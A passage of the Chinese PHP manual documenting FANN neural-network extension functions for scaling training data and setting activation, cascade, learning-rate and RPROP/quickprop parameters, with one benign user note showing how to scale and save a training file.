  • fann_scale_input_train_data() - 在训练数据中缩放输入至指定范围
  • fann_scale_train_data() - 在训练数据中缩放输入和输出到指定的范围

User Contributed Notes

There are no user contributed notes for this page.


在以前计算参数的基础上，在训练之前放大输出向量中的数据

  • ? fann_scale_output_train_data
  • fann_scale_train_data ?
  • PHP Manual
  • Fann 函数
  • 在以前计算参数的基础上，在训练之前放大输出向量中的数据

fann_scale_output

(PECL fann >= 1.0.0)

fann_scale_output — 在以前计算参数的基础上，在训练之前放大输出向量中的数据

说明

fann_scale_output(resource $ann, array $output_vector): bool

在以前计算参数的基础上，在训练之前放大输出向量中的数据。

参数

ann

神经网络 资源。

output_vector

将要被缩放的输出向量

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_descale_output() - 在获取基于先前计算的参数之后，在输出向量中缩小数据
  • fann_scale_input() - 在以前计算参数的基础上，在训练之前放大输入向量中的数据

User Contributed Notes

There are no user contributed notes for this page.


在训练数据中缩放输入和输出到指定的范围

  • ? fann_scale_output
  • fann_scale_train ?
  • PHP Manual
  • Fann 函数
  • 在训练数据中缩放输入和输出到指定的范围

fann_scale_train_data

(PECL fann >= 1.0.0)

fann_scale_train_data — 在训练数据中缩放输入和输出到指定的范围

说明

fann_scale_train_data(resource $train_data, float $new_min, float $new_max): bool

在训练数据中缩放输入和输出到指定的范围。

参数

train_data

神经网络训练数据 资源。

new_min

在训练数据中缩放输入和输出后新的最小值。

new_max

在训练数据中缩放输入和输出后新的最大值。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_scale_output_train_data() - 在训练数据中缩放输出至指定范围
  • fann_scale_input_train_data() - 在训练数据中缩放输入至指定范围

User Contributed Notes

geekgirl dot joy at gmail dot com 09-Jul-2021 07:09
<?php

// How to scale an existing unscaled training file and save it

$path = 'TrainingData' . DIRECTORY_SEPARATOR;

// Read raw (un-scaled) training data from file
$train_data = fann_read_train_from_file($path . "Training.data");

// Scale to a range of -1 to 1
fann_scale_train_data($train_data, -1, 1);

// Save the new scaled traning data as a file
fann_save_train($train_data, $path . 'ScaledTraining.data');


在以前计算参数的基础上，缩放输入和输出数据

  • ? fann_scale_train_data
  • fann_set_activation_function_hidden ?
  • PHP Manual
  • Fann 函数
  • 在以前计算参数的基础上，缩放输入和输出数据

fann_scale_train

(PECL fann >= 1.0.0)

fann_scale_train — 在以前计算参数的基础上，缩放输入和输出数据

说明

fann_scale_train(resource $ann, resource $train_data): bool

在以前计算参数的基础上，缩放输入和输出数据。

参数

ann

神经网络 资源。

train_data

神经网络训练数据 资源。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_descale_train() - 基于先前计算的参数来缩小输入和输出数据
  • fann_set_scaling_params() - 根据训练数据计算输入和输出缩放参数以供将来使用

User Contributed Notes

There are no user contributed notes for this page.


为所有隐藏层设置激活函数

  • ? fann_scale_train
  • fann_set_activation_function_layer ?
  • PHP Manual
  • Fann 函数
  • 为所有隐藏层设置激活函数

fann_set_activation_function_hidden

(PECL fann >= 1.0.0)

fann_set_activation_function_hidden — 为所有隐藏层设置激活函数

说明

fann_set_activation_function_hidden(resource $ann, int $activation_function): bool

为所有隐藏层设置激活函数。

参数

ann

神经网络 资源。

activation_function

激活函数 常量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数
  • fann_set_activation_function_layer() - 为已应用的层中所有的神经元设置激活函数
  • fann_set_activation_function_output() - 为输出层设置激活函数
  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度

User Contributed Notes

There are no user contributed notes for this page.


为已应用的层中所有的神经元设置激活函数

  • ? fann_set_activation_function_hidden
  • fann_set_activation_function_output ?
  • PHP Manual
  • Fann 函数
  • 为已应用的层中所有的神经元设置激活函数

fann_set_activation_function_layer

(PECL fann >= 1.0.0)

fann_set_activation_function_layer — 为已应用的层中所有的神经元设置激活函数

说明

fann_set_activation_function_layer(resource $ann, int $activation_function, int $layer): bool

为层数为 layer 的所有神经元设置激活函数，将输入层计为0.

在输入层中为神经元设置激活函数是不可能的。

参数

ann

神经网络 资源。

activation_function

激活函数 常量。

layer

层数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数
  • fann_set_activation_function_hidden() - 为所有隐藏层设置激活函数
  • fann_set_activation_function_output() - 为输出层设置激活函数
  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度

User Contributed Notes

There are no user contributed notes for this page.


为输出层设置激活函数

  • ? fann_set_activation_function_layer
  • fann_set_activation_function ?
  • PHP Manual
  • Fann 函数
  • 为输出层设置激活函数

fann_set_activation_function_output

(PECL fann >= 1.0.0)

fann_set_activation_function_output — 为输出层设置激活函数

说明

fann_set_activation_function_output(resource $ann, int $activation_function): bool

为输出层设置激活函数。

参数

ann

神经网络 资源。

activation_function

激活函数 常量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数
  • fann_set_activation_function_layer() - 为已应用的层中所有的神经元设置激活函数
  • fann_set_activation_function_hidden() - 为所有隐藏层设置激活函数
  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度

User Contributed Notes

There are no user contributed notes for this page.


为已应用的神经元和层设置激活函数

  • ? fann_set_activation_function_output
  • fann_set_activation_steepness_hidden ?
  • PHP Manual
  • Fann 函数
  • 为已应用的神经元和层设置激活函数

fann_set_activation_function

(PECL fann >= 1.0.0)

fann_set_activation_function — 为已应用的神经元和层设置激活函数

说明

fann_set_activation_function(
resource $ann,
int $activation_function,
int $layer,
int $neuron
): bool

为层数为 layer，神经经元数为 neuron 的神经元设置激活函数，将输入层记为0.

在输出层中的神经元设置激活函数是不可能的。

在选择激活函数时，注意激活函数有不同的范围，这个很重要哦。 FANN_SIGMOID 就是个例子。它的范围是0 -1，然而 FANN_SIGMOID_SYMMETRIC 的范围是-1 - 1， FANN_LINEAR 却是无限的。

应用的激活函数应该是激活函数常量之一。

返回值是激活函数常量之一。

参数

ann

神经网络 资源。

activation_function

激活函数常量。

layer

层数。

neuron

神经元数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_function_layer() - 为已应用的层中所有的神经元设置激活函数
  • fann_set_activation_function_hidden() - 为所有隐藏层设置激活函数
  • fann_set_activation_function_output() - 为输出层设置激活函数
  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度
  • fann_get_activation_function() - 返回激励函数

User Contributed Notes

There are no user contributed notes for this page.


为所有隐藏层中所有的神经元设置激活函数陡度

  • ? fann_set_activation_function
  • fann_set_activation_steepness_layer ?
  • PHP Manual
  • Fann 函数
  • 为所有隐藏层中所有的神经元设置激活函数陡度

fann_set_activation_steepness_hidden

(PECL fann >= 1.0.0)

fann_set_activation_steepness_hidden — 为所有隐藏层中所有的神经元设置激活函数陡度

说明

fann_set_activation_steepness_hidden(resource $ann, float $activation_steepness): bool

为所有隐藏层中所有的神经元设置激活陡度。

参数

ann

神经网络 资源。

activation_steepness

激活陡度。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度
  • fann_set_activation_steepness_layer() - 为提供的层中所有的神经元设置激活陡度
  • fann_set_activation_steepness_output() - 在输出层中设置激活陡度
  • fann_get_activation_steepness() - 为提供的神经和网络层数返回激活陡度
  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数

User Contributed Notes

There are no user contributed notes for this page.


为提供的层中所有的神经元设置激活陡度

  • ? fann_set_activation_steepness_hidden
  • fann_set_activation_steepness_output ?
  • PHP Manual
  • Fann 函数
  • 为提供的层中所有的神经元设置激活陡度

fann_set_activation_steepness_layer

(PECL fann >= 1.0.0)

fann_set_activation_steepness_layer — 为提供的层中所有的神经元设置激活陡度

说明

fann_set_activation_steepness_layer(resource $ann, float $activation_steepness, int $layer): bool

为层数为 layer 中所有的神经元设置激活陡度，将输入层计为0。

在输出层中设置激活陡度是不可能的。

参数

ann

神经网络 资源。

activation_steepness

激活陡度。

layer

层数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度
  • fann_set_activation_steepness_hidden() - 为所有隐藏层中所有的神经元设置激活函数陡度
  • fann_set_activation_steepness_output() - 在输出层中设置激活陡度
  • fann_get_activation_steepness() - 为提供的神经和网络层数返回激活陡度
  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数

User Contributed Notes

There are no user contributed notes for this page.


在输出层中设置激活陡度

  • ? fann_set_activation_steepness_layer
  • fann_set_activation_steepness ?
  • PHP Manual
  • Fann 函数
  • 在输出层中设置激活陡度

fann_set_activation_steepness_output

(PECL fann >= 1.0.0)

fann_set_activation_steepness_output — 在输出层中设置激活陡度

说明

fann_set_activation_steepness_output(resource $ann, float $activation_steepness): bool

在输出层中设置激活陡度。

参数

ann

神经网络 资源。

activation_steepness

激活陡度。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_steepness() - 为提供的神经元和层设置激活陡度
  • fann_set_activation_steepness_layer() - 为提供的层中所有的神经元设置激活陡度
  • fann_set_activation_steepness_hidden() - 为所有隐藏层中所有的神经元设置激活函数陡度
  • fann_get_activation_steepness() - 为提供的神经和网络层数返回激活陡度
  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数

User Contributed Notes

There are no user contributed notes for this page.


为提供的神经元和层设置激活陡度

  • ? fann_set_activation_steepness_output
  • fann_set_bit_fail_limit ?
  • PHP Manual
  • Fann 函数
  • 为提供的神经元和层设置激活陡度

fann_set_activation_steepness

(PECL fann >= 1.0.0)

fann_set_activation_steepness — 为提供的神经元和层设置激活陡度

说明

fann_set_activation_steepness(
resource $ann,
float $activation_steepness,
int $layer,
int $neuron
): bool

为层数为 layer，神经元数为 neuron 的神经元设置激活陡度，输出层的层数计为0。

为输入层中的神经元设置激活陡度是不可能的。.

激活函数的陡度表示激活从最大值到最小值有多快。一个高的激活函数值也会导致一个更积极的训练。

当训练神经网络中输出值处于一个极端值(通常为0或者1，取决于激活函数)时，可以使用陡峭的激活函数(比如 1.0)。

默认激活陡度是0.5。

参数

ann

神经网络 资源。

activation_steepness

激活陡度。

layer

层数。

neuron

神经元数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_activation_steepness_layer() - 为提供的层中所有的神经元设置激活陡度
  • fann_set_activation_steepness_hidden() - 为所有隐藏层中所有的神经元设置激活函数陡度
  • fann_set_activation_steepness_output() - 在输出层中设置激活陡度
  • fann_get_activation_steepness() - 为提供的神经和网络层数返回激活陡度
  • fann_set_activation_function() - 为已应用的神经元和层设置激活函数

User Contributed Notes

There are no user contributed notes for this page.


设置训练期间使用的误差

  • ? fann_set_activation_steepness
  • fann_set_callback ?
  • PHP Manual
  • Fann 函数
  • 设置训练期间使用的误差

fann_set_bit_fail_limit

(PECL fann >= 1.0.0)

fann_set_bit_fail_limit — 设置训练期间使用的误差

说明

fann_set_bit_fail_limit(resource $ann, float $bit_fail_limit): bool

设置训练期间使用的误差。

参数

ann

神经网络 资源。

bit_fail_limit

误差。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_bit_fail_limit() - 返回训练期间使用的误差限制

User Contributed Notes

There are no user contributed notes for this page.


设置训练期间使用的回调函数。

  • ? fann_set_bit_fail_limit
  • fann_set_cascade_activation_functions ?
  • PHP Manual
  • Fann 函数
  • 设置训练期间使用的回调函数。

fann_set_callback

(PECL fann >= 1.0.0)

fann_set_callback — 设置训练期间使用的回调函数。

说明

fann_set_callback(resource $ann, callable $callback): bool

设置训练期间使用的回调函数。 这意味着它被fann_train_on_data() 或 fann_train_on_file()调用。

参数

ann

神经网络 资源。

callback

提供的回调函数接受以下参数：

  • ann - 神经网络 resource
  • train - 训练数据 resource 或者 当被 fann_train_on_file() 为 null
  • max_epochs - 训练将进行的最大周期数。
  • epochs_between_reports - 在调用该函数之前训练进行的最大周期数。
  • desired_error - 期望的 fann_get_MSE() 或者 fann_get_bit_fail(), 取决于fann_set_train_stop_function()函数选择的停止函数。
  • epochs - The current epoch

回调将会返回 true. 如果返回 false, 表明训练将会终止。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_train_on_data() - 在整个数据集上训练一段时间。
  • fann_train_on_file() - 在从某个文件读取的整个数据集上训练一段时间。

User Contributed Notes

There are no user contributed notes for this page.


设置级联候选激活函数的数组

  • ? fann_set_callback
  • fann_set_cascade_activation_steepnesses ?
  • PHP Manual
  • Fann 函数
  • 设置级联候选激活函数的数组

fann_set_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_set_cascade_activation_functions — 设置级联候选激活函数的数组

说明

fann_set_cascade_activation_functions(resource $ann, array $cascade_activation_functions): bool

设置级联候选激活函数的数组。

想知道哪个候选神经元将会被该数组生成,参见 fann_get_cascade_num_candidates() .

参数

ann

神经网络 资源。

cascade_activation_functions

级联候选激活函数数组。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_activation_functions_count() - 返回级联激活函数的数量
  • fann_set_cascade_activation_functions()

User Contributed Notes

There are no user contributed notes for this page.


设置级联候选激活陡度的数组。

  • ? fann_set_cascade_activation_functions
  • fann_set_cascade_candidate_change_fraction ?
  • PHP Manual
  • Fann 函数
  • 设置级联候选激活陡度的数组。

fann_set_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_set_cascade_activation_steepnesses — 设置级联候选激活陡度的数组。

说明

fann_set_cascade_activation_steepnesses(resource $ann, array $cascade_activation_steepnesses_count): bool

设置级联候选激活陡度的数组。

想知道哪个候选神经元将会被该数组生成，参见 fann_get_cascade_num_candidates() .

参数

ann

神经网络 资源。

cascade_activation_steepnesses_count

级联候选激活陡度数组。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_activation_steepnesses() - 返回级联激活陡度
  • fann_get_cascade_activation_steepnesses_count() - 激活陡度的数量

User Contributed Notes

There are no user contributed notes for this page.


设置级联候选更改分数

  • ? fann_set_cascade_activation_steepnesses
  • fann_set_cascade_candidate_limit ?
  • PHP Manual
  • Fann 函数
  • 设置级联候选更改分数

fann_set_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_change_fraction — 设置级联候选更改分数

说明

fann_set_cascade_candidate_change_fraction(resource $ann, float $cascade_candidate_change_fraction): bool

设置级联候选更改分数。

参数

ann

神经网络 资源。

cascade_candidate_change_fraction

级联候选更改分数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_candidate_change_fraction() - 返回级联候选变化分数

User Contributed Notes

There are no user contributed notes for this page.


设置候选限度

  • ? fann_set_cascade_candidate_change_fraction
  • fann_set_cascade_candidate_stagnation_epochs ?
  • PHP Manual
  • Fann 函数
  • 设置候选限度

fann_set_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_limit — 设置候选限度

说明

fann_set_cascade_candidate_limit(resource $ann, float $cascade_candidate_limit): bool

设置候选限度。

参数

ann

神经网络 资源。

cascade_candidate_limit

候选限度。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_candidate_limit() - 返回候选限度

User Contributed Notes

There are no user contributed notes for this page.


设置级联候选停止周期数

  • ? fann_set_cascade_candidate_limit
  • fann_set_cascade_max_cand_epochs ?
  • PHP Manual
  • Fann 函数
  • 设置级联候选停止周期数

fann_set_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_stagnation_epochs — 设置级联候选停止周期数

说明

fann_set_cascade_candidate_stagnation_epochs(resource $ann, int $cascade_candidate_stagnation_epochs): bool

设置级联候选停止周期数。

参数

ann

神经网络 资源。

cascade_candidate_stagnation_epochs

级联候选停止周期数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_candidate_stagnation_epochs() - 返回层叠候选停滞周期的数量

User Contributed Notes

There are no user contributed notes for this page.


设置最大候选周期数

  • ? fann_set_cascade_candidate_stagnation_epochs
  • fann_set_cascade_max_out_epochs ?
  • PHP Manual
  • Fann 函数
  • 设置最大候选周期数

fann_set_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_cand_epochs — 设置最大候选周期数

说明

fann_set_cascade_max_cand_epochs(resource $ann, int $cascade_max_cand_epochs): bool

设置最大候选周期数。

参数

ann

神经网络 资源。

cascade_max_cand_epochs

设置最大候选周期数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_max_cand_epochs() - 返回候选周期的最大值

User Contributed Notes

There are no user contributed notes for this page.


设置最大输出周期

  • ? fann_set_cascade_max_cand_epochs
  • fann_set_cascade_min_cand_epochs ?
  • PHP Manual
  • Fann 函数
  • 设置最大输出周期

fann_set_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_out_epochs — 设置最大输出周期

说明

fann_set_cascade_max_out_epochs(resource $ann, int $cascade_max_out_epochs): bool

设置最大输出周期。

参数

ann

神经网络 资源。

cascade_max_out_epochs

最大输出周期。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_max_out_epochs() - 返回输出周期的最大值

User Contributed Notes

There are no user contributed notes for this page.


设置最小候选周期

  • ? fann_set_cascade_max_out_epochs
  • fann_set_cascade_min_out_epochs ?
  • PHP Manual
  • Fann 函数
  • 设置最小候选周期

fann_set_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_cand_epochs — 设置最小候选周期

说明

fann_set_cascade_min_cand_epochs(resource $ann, int $cascade_min_cand_epochs): bool

设置最小候选周期。

参数

ann

神经网络 资源。

cascade_min_cand_epochs

设置最小候选周期。

返回值

成功时返回 true，其它情况下返回 false。

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_get_cascade_min_cand_epochs() - 返回最小的候选周期

User Contributed Notes

There are no user contributed notes for this page.


设置最小输出周期

  • ? fann_set_cascade_min_cand_epochs
  • fann_set_cascade_num_candidate_groups ?
  • PHP Manual
  • Fann 函数
  • 设置最小输出周期

fann_set_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_min_out_epochs — 设置最小输出周期

说明

fann_set_cascade_min_out_epochs(resource $ann, int $cascade_min_out_epochs): bool

设置最小输出周期。

参数

ann

神经网络 资源。

cascade_min_out_epochs

最小输出周期。

返回值

成功时返回 true，其它情况下返回 false。

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_get_cascade_min_out_epochs() - 返回最小输出周期

User Contributed Notes

There are no user contributed notes for this page.


设置候选组数量

  • ? fann_set_cascade_min_out_epochs
  • fann_set_cascade_output_change_fraction ?
  • PHP Manual
  • Fann 函数
  • 设置候选组数量

fann_set_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_set_cascade_num_candidate_groups — 设置候选组数量

说明

fann_set_cascade_num_candidate_groups(resource $ann, int $cascade_num_candidate_groups): bool

设置候选组数量。

参数

ann

神经网络 资源。

cascade_num_candidate_groups

候选组数量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_num_candidate_groups() - 返回候选组的数量

User Contributed Notes

There are no user contributed notes for this page.


设置级联输出改变分数

  • ? fann_set_cascade_num_candidate_groups
  • fann_set_cascade_output_stagnation_epochs ?
  • PHP Manual
  • Fann 函数
  • 设置级联输出改变分数

fann_set_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_output_change_fraction — 设置级联输出改变分数

说明

fann_set_cascade_output_change_fraction(resource $ann, float $cascade_output_change_fraction): bool

设置级联输出改变分数。

参数

ann

神经网络 资源。

cascade_output_change_fraction

级联输出改变分数。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_output_change_fraction() - 返回级联输出变化分数

User Contributed Notes

There are no user contributed notes for this page.


设置级联输出停滞周期的值

  • ? fann_set_cascade_output_change_fraction
  • fann_set_cascade_weight_multiplier ?
  • PHP Manual
  • Fann 函数
  • 设置级联输出停滞周期的值

fann_set_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_output_stagnation_epochs — 设置级联输出停滞周期的值

说明

fann_set_cascade_output_stagnation_epochs(resource $ann, int $cascade_output_stagnation_epochs): bool

设置级联输出停滞周期的值。

参数

ann

神经网络 资源。

cascade_output_stagnation_epochs

级联输出停滞周期的值

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_output_stagnation_epochs() - 返回级联输出停滞周期的数量

User Contributed Notes

There are no user contributed notes for this page.


设置权重因子

  • ? fann_set_cascade_output_stagnation_epochs
  • fann_set_error_log ?
  • PHP Manual
  • Fann 函数
  • 设置权重因子

fann_set_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_set_cascade_weight_multiplier — 设置权重因子

说明

fann_set_cascade_weight_multiplier(resource $ann, float $cascade_weight_multiplier): bool

设置权重因子。

参数

ann

神经网络 资源。

cascade_weight_multiplier

权重因子。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_cascade_weight_multiplier() - 返回权重因子

User Contributed Notes

There are no user contributed notes for this page.


设置错误记录保存的位置。

  • ? fann_set_cascade_weight_multiplier
  • fann_set_input_scaling_params ?
  • PHP Manual
  • Fann 函数
  • 设置错误记录保存的位置。

fann_set_error_log

(PECL fann >= 1.0.0)

fann_set_error_log — 设置错误记录保存的位置。

说明

fann_set_error_log(resource $errdat, string $log_file): void

设置错误记录保存的位置。

参数

errdat

Either neural network resource or neural network trainining data resource.

log_file

日志文件的路径。

返回值

无返回值。

User Contributed Notes

There are no user contributed notes for this page.


根据训练数据计算将来使用的输入比例参数

  • ? fann_set_error_log
  • fann_set_learning_momentum ?
  • PHP Manual
  • Fann 函数
  • 根据训练数据计算将来使用的输入比例参数

fann_set_input_scaling_params

(PECL fann >= 1.0.0)

fann_set_input_scaling_params — 根据训练数据计算将来使用的输入比例参数

说明

fann_set_input_scaling_params(
resource $ann,
resource $train_data,
float $new_input_min,
float $new_input_max
): bool

根据训练数据计算将来使用的输入比例参数。

参数

ann

神经网络 资源。

train_data

神经网络训练数据 资源。

new_input_min

缩放后输入数据的期望下限 (不严格遵循)

new_input_max

缩放后输入数据的期望上线 (不严格遵循)

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_output_scaling_params() - 根据训练数据计算将来使用的输出缩放参数

User Contributed Notes

There are no user contributed notes for this page.


设置学习动量。

  • ? fann_set_input_scaling_params
  • fann_set_learning_rate ?
  • PHP Manual
  • Fann 函数
  • 设置学习动量。

fann_set_learning_momentum

(PECL fann >= 1.0.0)

fann_set_learning_momentum — 设置学习动量。

说明

fann_set_learning_momentum(resource $ann, float $learning_momentum): bool

设置学习动量。

更多信息，参见 fann_get_learning_momentum().

参数

ann

神经网络 资源。

learning_momentum

学习动量。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_learning_momentum() - 返回学习动量
  • fann_set_training_algorithm() - 设置训练算法。

User Contributed Notes

There are no user contributed notes for this page.


设置学习速率。

  • ? fann_set_learning_momentum
  • fann_set_output_scaling_params ?
  • PHP Manual
  • Fann 函数
  • 设置学习速率。

fann_set_learning_rate

(PECL fann >= 1.0.0)

fann_set_learning_rate — 设置学习速率。

说明

fann_set_learning_rate(resource $ann, float $learning_rate): bool

设置学习速率。

更新信息，参见 fann_get_learning_rate().

参数

ann

神经网络 资源。

learning_rate

学习速率。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_learning_rate() - 返回学习速率
  • fann_set_training_algorithm() - 设置训练算法。

User Contributed Notes

There are no user contributed notes for this page.


根据训练数据计算将来使用的输出缩放参数

  • ? fann_set_learning_rate
  • fann_set_quickprop_decay ?
  • PHP Manual
  • Fann 函数
  • 根据训练数据计算将来使用的输出缩放参数

fann_set_output_scaling_params

(PECL fann >= 1.0.0)

fann_set_output_scaling_params — 根据训练数据计算将来使用的输出缩放参数

说明

fann_set_output_scaling_params(
resource $ann,
resource $train_data,
float $new_output_min,
float $new_output_max
): bool

根据训练数据计算将来使用的输出缩放参数

参数

ann

神经网络 资源。

train_data

神经网络训练数据 资源。

new_output_min

缩放后输出数据的期望下限(不严格遵循)

new_output_max

缩放后输出数据的期望上限(不严格遵循)

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_set_input_scaling_params() - 根据训练数据计算将来使用的输入比例参数

User Contributed Notes

There are no user contributed notes for this page.


设置quickprop算法衰减因子

  • ? fann_set_output_scaling_params
  • fann_set_quickprop_mu ?
  • PHP Manual
  • Fann 函数
  • 设置quickprop算法衰减因子

fann_set_quickprop_decay

(PECL fann >= 1.0.0)

fann_set_quickprop_decay — 设置quickprop算法衰减因子

说明

fann_set_quickprop_decay(resource $ann, float $quickprop_decay): bool

设置quickprop算法衰减因子。

参数

ann

神经网络 资源。

quickprop_decay

quickprop算法衰减因子。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_quickprop_decay() - 返回衰退值，用于在 quickprop 训练迭代时衰减权重

User Contributed Notes

There are no user contributed notes for this page.


设置 quickprop 算法放大因子

  • ? fann_set_quickprop_decay
  • fann_set_rprop_decrease_factor ?
  • PHP Manual
  • Fann 函数
  • 设置 quickprop 算法放大因子

fann_set_quickprop_mu

(PECL fann >= 1.0.0)

fann_set_quickprop_mu — 设置 quickprop 算法放大因子

说明

fann_set_quickprop_mu(resource $ann, float $quickprop_mu): bool

设置 quickprop 算法放大因子。

参数

ann

神经网络 资源。

quickprop_mu

放大因子。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_quickprop_mu() - 返回放大系数

User Contributed Notes

There are no user contributed notes for this page.


使用 RPROP 算法训练时，设置下降因子

  • ? fann_set_quickprop_mu
  • fann_set_rprop_delta_max ?
  • PHP Manual
  • Fann 函数
  • 使用 RPROP 算法训练时，设置下降因子

fann_set_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_set_rprop_decrease_factor — 使用 RPROP 算法训练时，设置下降因子

说明

fann_set_rprop_decrease_factor(resource $ann, float $rprop_decrease_factor): bool

使用 RPROP 算法训练时，设置下降因子。

参数

ann

神经网络 资源。

rprop_decrease_factor

下降因子。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_rprop_decrease_factor() - 返回 RPROP 训练期间的衰减系数

User Contributed Notes

There are no user contributed notes for this page.


设置最大步长

  • ? fann_set_rprop_decrease_factor
  • fann_set_rprop_delta_min ?
  • PHP Manual
  • Fann 函数
  • 设置最大步长

fann_set_rprop_delta_max

(PECL fann >= 1.0.0)

fann_set_rprop_delta_max — 设置最大步长

说明

fann_set_rprop_delta_max(resource $ann, float $rprop_delta_max): bool

最大步长是一个正数，决定最大步长可能有多大。

参数

ann

神经网络 资源。

rprop_delta_max

最大步长。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_rprop_delta_max() - 返回最大步长
  • fann_get_rprop_delta_min() - 返回最小步长

User Contributed Notes

There are no user contributed notes for this page.


设置最小步长

  • ? fann_set_rprop_delta_max
  • fann_set_rprop_delta_zero ?
  • PHP Manual
  • Fann 函数
  • 设置最小步长

fann_set_rprop_delta_min

(PECL fann >= 1.0.0)

fann_set_rprop_delta_min — 设置最小步长

说明

fann_set_rprop_delta_min(resource $ann, float $rprop_delta_min): bool

最小步长是一个小的正数，决定最小步长可能有多小。

参数

ann

神经网络 资源。

rprop_delta_min

最小步长。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_rprop_delta_min() - 返回最小步长

User Contributed Notes

There are no user contributed notes for this page.


设置初始步长

  • ? fann_set_rprop_delta_min
  • fann_set_rprop_increase_factor ?
  • PHP Manual
  • Fann 函数
  • 设置初始步长

fann_set_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_set_rprop_delta_zero — 设置初始步长

说明

fann_set_rprop_delta_zero(resource $ann, float $rprop_delta_zero): bool

初始步长是确定初始步长的正数。

参数

ann

神经网络 资源。

rprop_delta_zero

初始步长。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_rprop_delta_zero() - 返回初始步长
  • fann_get_rprop_delta_min() - 返回最小步长
  • fann_get_rprop_delta_max() - 返回最大步长

User Contributed Notes

There are no user contributed notes for this page.


使用 RPROP 算法训练时，设置增长因子

  • ? fann_set_rprop_delta_zero
  • fann_set_sarprop_step_error_shift ?
  • PHP Manual
  • Fann 函数
  • 使用 RPROP 算法训练时，设置增长因子

fann_set_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_set_rprop_increase_factor — 使用 RPROP 算法训练时，设置增长因子

说明

fann_set_rprop_increase_factor(resource $ann, float $rprop_increase_factor): bool

使用 RPROP 算法训练时，设置增长因子。

参数

ann

神经网络 资源。

rprop_increase_factor

增长因子。

返回值

成功时返回 true，其它情况下返回 false。

参见

  • fann_get_rprop_increase_factor() - 返回 RPROP 训练的递增系数

User Contributed Notes

There are no user contributed notes for this page.


设置 sarprop 算法的步误差偏移量

  • ? fann_set_rprop_increase_factor
  • fann_set_sarprop_step_error_threshold_factor ?
  • PHP Manual
  • Fann 函数
  • 设置 sarprop 算法的步误差偏移量

fann_set_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_shift — 设置 sarprop 算法的步误差偏移量

说明

fann_set_sarprop_step_error_shift(resource $ann, float $sarprop_step_error_shift): bool

设置 sarprop 算法的步误差偏移量。

参数

ann

神经网络 资源。

sarprop_step_error_shift

sarprop 算法的步误差偏移量.

返回值

成功时返回 true，其它情况下返回 false。

注释

Note:

This function is only available if the fann extension has been build against libfann >= 2.2.

参见

  • fann_get_sarprop_step_error_shift() - 返回 sarprop 步值的误差偏移

User Contributed Notes

There are no user contributed notes for this page.


设置 sarprop 算法的步误差阈值因子

